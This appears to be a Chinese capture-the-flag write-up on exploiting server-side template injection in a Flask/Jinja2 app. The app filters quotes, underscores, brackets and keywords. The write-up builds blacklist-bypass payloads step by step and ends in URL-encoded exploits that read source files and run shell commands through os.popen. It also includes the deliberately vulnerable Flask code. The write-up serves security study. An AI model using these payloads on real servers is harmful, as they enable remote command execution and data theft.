Werkzeug/1.0.1Python/3.8.7
源码exp
/?name=%20{%%20set%20po=dict(po=a,p=a)|join%}%20{%%20set%20a=(()|select|string|list)|attr(po)(24)%}%20{%%20set%20ini=(a,a,dict(init=a)|join,a,a)|join()%}%20{%%20set%20glo=(a,a,dict(globals=a)|join,a,a)|join()%}%20{%%20set%20geti=(a,a,dict(getitem=a)|join,a,a)|join()%}%20{%%20set%20built=(a,a,dict(builtins=a)|join,a,a)|join()%}%20{%%20set%20x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}%20{%%20set%20chr=x.chr%}%20{%%20set%20file=chr(97)%2bchr(112)%2bchr(112)%2bchr(46)%2bchr(112)%2bchr(121)%}%20{%print(x.open(file).read())%}
源码
from flask import Flask
from flask import request
from flask import render_template_string
from flask import session
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{|request",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
过滤了 request
,也就是说前面那的绕过没啥用了。。剩下可用的字符主要有 {%
、(
、|
、.
下文中的绕过方法多多少少都用到 _
、[
、'
、"
https://blog.csdn.net/miuzzx/article/details/110220425
其实主要还是获取子属性需要用到 __getxxx__
、[x]
、之类的。所以要点在于,如何利用控制定界符,代替被过滤的字符 _
、[
、'
、"
和 request
获取子属性。
|attr(xx)
还能用否?能,圆括号没过滤,不过要拼接。
先把骨架部分写一下
{%lipsum|attr('__globals__')|attr('__getitem__')('os').popen('cat /tmp/flag').read()%}
'
"
引号可通过变量传入方式来进行{% set o=chr(111)+chr(115) %}
_
可以用chr(95)
表示,当前其他字母也可以。chr
在 Jinja2 上下文环境没法直接用,需要通过__builtins__
找到
但没找到 __builtins__
就用不了 _
,真是矛盾呢。。。先拓展一下其他方法来获取 _
list
:将值转换为列表。如果它是一个字符串,返回的列表将是一个字符列表。select
:选择器,使用方式可迭代对象|select(filters方式)
{{ [1,2]|select('odd')|list }}
结果为
[2]
,其中odd
是判断可迭代对象是否含有奇数string
:转换为字符串
执行
{{ ()|select|string }}
结果为 <generator object select_or_reject at 0x105bc9970>
那么可以通过控制下表控制我们想要的字母,比如 {{ (()|select|string)[0] }}
是 <
,下划线 _
是 {{ (()|select|string)[24] }}
但题目中过滤了 [
,那么可以利用 list
并用 pop
方法来控制,即弹出列表某一序列下标,并返回弹出的值
获取下划线 _
尝试
{{ ()|select|string|list.pop(24) }}
报错
jinja2.exceptions.TemplateAssertionError: no filter named 'list.pop'
模板中不能把 filter
和 .
获取子属性混合用
但直接引用又会引入单引号
{{ ()|select|string|list|attr('pop')(24) }}
- dict:生成字典,如
dict(t=1,a=2)
生成{'t': 1, 'a': 2}
关键点,通过dict
和join
实现无中括号字符串拼接
测试代码如下 ```python from flask import Flask, request from jinja2 import Template
app = Flask(name)
@app.route(‘/‘) def index(): template = ‘’’ {%set t=dict(ta=1,r=1,i=1)|join%} {{ t }} ‘’’ return Template(template).render()
if name == “main“: app.run(‘0.0.0.0’)
输出<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2789727/1620454323639-135c380d-9573-4ef7-a3fd-959aa9cc3521.png#align=left&display=inline&height=118&margin=%5Bobject%20Object%5D&name=image.png&originHeight=236&originWidth=938&size=22309&status=done&style=none&width=469)<br />可见 `join` 是拼接 `dict` 里的键,`dict`的值任意即可
好,下划线 `_` 可以获取了
```python
{{ ()|select|string|list|attr(dict(pop=1)|join)(24) }}
因为题目过滤了 {{
,然后为了增加这块这么长的代码复用,赋值到变量里面
{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
把骨架中替换一下带有下划线的
{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
{% set g=x~x~(dict(globals=x)|join)~x~x %}
{% set ge=x~x~(dict(getitem=x)|join)~x~x %}
其中
~
为 Jinja2 的字符串拼接方式,{{ "Hello " ~ name ~ "!" }}
would return (assuming name is set to'John'
)Hello John!
- 可参考 https://jinja.palletsprojects.com/en/2.11.x/templates/#other-operators
不过到 'os'
模块这,要用到 chr
方法,否则无法绕过 '
{# 下划线 '_' #}
{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
{# 字符串 '__globals__' #}
{% set g=x~x~(dict(globals=x)|join)~x~x %}
{# 字符串 '__getitem__' #}
{% set ge=x~x~(dict(getitem=x)|join)~x~x %}
{# 字符串 '__builtins__' #}
{% set b=x~x~(dict(builtins=x)|join)~x~x %}
{# builtins模块 lipsum.__globals__.__getitem__('__builtins__') #}
{% set buin=(lipsum|attr(g)|attr(ge))(b) %}
{# chr函数 lipsum.__globals__.__getitem__('__builtins__').chr #}
{% set chr=buin.chr %}
{# os模块 lipsum.__globals__.__getitem__('os') #}
{% set o=lipsum|attr(g)|attr(ge)(chr(111)+chr(115)) %}
{# 需要执行的命令, 这里是 cat /tmp/flag #}
{% set cmd=chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103) %}
{% print(o.popen(cmd).read()) %}
- 其中
{# #}
定界符为注释
在对应下我们的骨架,差不多了 (
{%lipsum|attr('__globals__')|attr('__getitem__')('os').popen('cat /tmp/flag').read()%}
本地试试,没啥问题
因为打线上是通过 GET 参数进行的,有点小细节
+
号要 URL 编码为%2b
否则,+
URL解码会变为空格
最终 EXP
/?name={%%20set%20x=()|select|string|list|attr(dict(pop=1)|join)(24)%20%}{%%20set%20g=x~x~(dict(globals=x)|join)~x~x%20%}{%%20set%20ge=x~x~(dict(getitem=x)|join)~x~x%20%}{%%20set%20b=x~x~(dict(builtins=x)|join)~x~x%20%}{%%20set%20buin=(lipsum|attr(g)|attr(ge))(b)%20%}{%%20set%20chr=buin.chr%20%}{%%20set%20o=lipsum|attr(g)|attr(ge)(chr(111)%2bchr(115))%20%}{%%20set%20cmd=chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%20%}{%%20print(o.popen(cmd).read())%20%}